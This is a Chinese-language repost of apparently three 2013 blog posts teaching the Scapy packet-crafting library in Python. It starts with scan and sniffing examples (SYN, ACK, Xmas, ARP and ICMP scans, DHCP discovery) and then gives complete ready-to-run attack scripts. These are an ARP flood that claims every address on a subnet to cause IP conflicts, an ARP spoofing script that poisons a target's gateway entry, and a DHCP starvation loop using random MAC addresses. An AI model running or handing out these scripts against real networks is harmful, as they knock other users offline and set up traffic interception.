转:http://my.oschina.net/fsxchen/blog/125006

Scapy

可以是用户发送,嗅探、分析和伪造网络数据包

一个强大的交互式包处理程序,

基于python,因此可以像python那样,函数调用、循环、分支语句等等!

网络的发现相当于是一个黑盒测试,我们需要发送许多个stimuli(数据包),但是得到回应的却是极少数!

任何数据包都可以被创建和切割

_可以得到lasted result

产生数据包集合

send Package

fuzzing

如图所示,可以看到flags的值是什么意思了。默认值2表示的意思就是SYN=1

DNS查询:

>>>sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")))

ACK 扫描:

ans,unans=sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

flags=A

Xmas Scan圣诞树扫描,Nmap里面这些扫描方式都是有的!关于这种扫描方式,由于MicroSoft忽略了标准,所以这种扫描方式对Windows95/NT是无效的!

ans,unans=sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU"))

flags=FPU”,用wireshark看一下到底什么是FPU

可以看到,实际上就是将FIN PSH URG置为1TCP数据包!

IP扫描

ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

arp Ping 扫描局域网中的Mac

ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

对结果的处理

ICMP ping

ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

ICMP默认的封装格式中可以看到type=8,就是请求回显(Ping

TCP ping

有的时候,某些服务器是可以进制ping的,可以是禁止icmp协议!

TCP扫描

BT5中对某台readhad的扫描,下面我在这台redhat上面写上禁ping的策略

部署在redhat上面的禁ping策略

现在已经ping不起作用了,下面来看下此时的TCP ping

对于TCPSYN扫描,看来还是有效的!

UPD Scan 其形式和TCP Scan 是类似的!

攻击手段!

非正常的数据包! Ping of Death   ICMP携带的最大数据包长度为

SYN Scan SYN扫描,将flags字段设置为2,或者是“S

事实上说明flags=S”和flags=2 效果是一样的!而且默认的值就是flags=2,关于flags字段,还有flags=SA” 即SYNACK 包!

???在这个IP(虚拟机的)里面,总是有警告:扫描目标的Mac无法发现,即使是手动封装也还是会出现问题?还有就是扫描本级也有问题!貌似扫描x.x.x.1/google.com d等是没有什么问题的!

后来本人换用BackTrack5  没有发现这样的问题,怀疑还是与用户权限有关系的!

sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags='S'))   使用随机端口进行对服务器的扫描

关于结果与sprintf()

nmap_fd

最早的支持的是Nmap4.2,貌似支持4.3以前的版本。在scapyV2中必须先load an extension module

load_module(“nmap”)

使用scapy 嗅探网络数据包

sniff(fliter = “icmp and host 66.35.250.151”, count=2)

sniff(iface=”en1”, count= , prn= lambda x: x.show)

使用wireshark来查看数据包

>>> packets=Ether()/IP(dst=Net("google.com/30"))/ICMP()# first generate some packets>>> wireshark(packets)# show them with Wireshark

使用scapy构造DHCP Discovery 数据包!

>>> conf.checkIPaddr=False
>>> fam,hw=get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans,unans=srp(dhcp_discover,multi=True)# Press CTRL-C after several seconds
Begin emission:Finished to send 1 packets..*...*..Received 8 packets, got 2 answers, remaining 0 packets

可以查看的LAN上面所有的DHCP Server

注意记得要把在srp函数中要加muti = True,这样才能接受多个dhcpoffer


用Scapy写的小应用(一)

http://my.oschina.net/fsxchen/blog/125435

前几天,在学习Scapy,一个很强悍、很有名的封包工具,在BT5里面就有的,安装也是很简单的!是基于Python的一个交互式的工具。支持的协议广泛!但是不支持比较上层的协议,比如http。工作效率也不是很高,只是适合比较简单的小工具!

#!/usr/bin/python
"""
 LAN Mac Scan
 date 2013.4.22
"""
import sys, os
from scapy.all import *

if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()
if len(sys.argv) < 2:
    print "Please Use %s x.x.x" % (sys.argv[0])
    exit()
conf.verb = 0
ipscan = sys.argv[1] + ".0/24"
f = file("Mac_list.txt", 'w')
ans, unans = srp(Ether(dst = "FF:FF:FF:FF:FF:FF")/ARP(pdst = ipscan), timeout = 2)
print ans[0]
for snd, rcv in ans:
    print rcv
    list_mac = rcv.sprintf("%Ether.src% -> %ARP.psrc%")
    print rcv.sprintf("%Ether.src% -> %ARP.psrc%")
    f.write(list_mac+'\n')
f.close()

 上面的就是一个局域网扫描工具,可以扫描整个局域网上面的网关!

#!/usr/bin/python
"""
ARP attack
"""
import sys, os
from scapy.all import *
if os.geteuid() != 0:
    print "This program must be run as root. Aborting."
    sys.exit()

if len(sys.argv) < 2:
    print "Pkease Use %s x.x.x" % (sys.argv[0])
    exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.100.1", hwsrc="00:66:66:66:66:66"), timeout=2)

 在局域网里面请求该网段里面所有的IP地址的Mac,在以太网中,主机就是以这种方式,来确定IP地址是否被占用了的!这段代码会占用掉所有的IP,让别人的机子出现IP地址冲突的错误!

#!/usr/bin/python
"""
 An ARP replies
"""
from scapy.all import *
AttackIP = raw_input("Please input the IP of GateWay:")
AttackIP_PC = raw_input("Please input the IP PC:")
srploop(Ether(dst = "00:0C:29:4B:B2:8C")/ARP(op = "is-at", \
 pdst = "192.168.100.9", hwdst = "00:0C:29:4B:B2:8C", psrc = AttackIP, hwsrc = "04:54:53:05:41:44"))

&nsbp;&nsbp;一个ARP欺骗,这里就是欺骗了一个特定的IP(ip = 192.168.100.9 MAC:00:0C:29:4B:B2:8C),告诉这个IP地址,网关的IP(AttackIP)的Mac是"04:54:53:05:41:44",其实这个Mac你就可以随意改的啦!


用Scapy写的小应用(二)

http://my.oschina.net/fsxchen/blog/125609

#!/usr/bin/python
from scapy.all import *

conf.checkIPaddr = False
dhcp_discover =  Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff") \
         /IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) \
         /BOOTP(chaddr=RandString(12,'0123456789abcdef')) \
         /DHCP(options=[("message-type","discover"),"end"])
sendp(dhcp_discover,loop=1)

 代码依然很简单,不过还是要用管理员权限才可以运行的,原理也很简单,就是在局域网里面一直发送DHCP discovery报文,这样可以使局域网内DHCP失效,还是很可怕的!不过,稍微修改一下!可以做成一个网管工具,可以找到非法的DHCP服务器!

#!/usr/bin/python
import sys
from scapy.all import *
p = sr1(IP(dst = sys.argv[1])/TCP())
if p:

   p.show()

 一个简单的TCP ping工具,对显示的结果没有做什么处理!

更多scapy教程:

http://wikicode.net/?cat=30        小五义

http://blog.sina.com.cn/s/blog_53737d110100x0sg.html       基础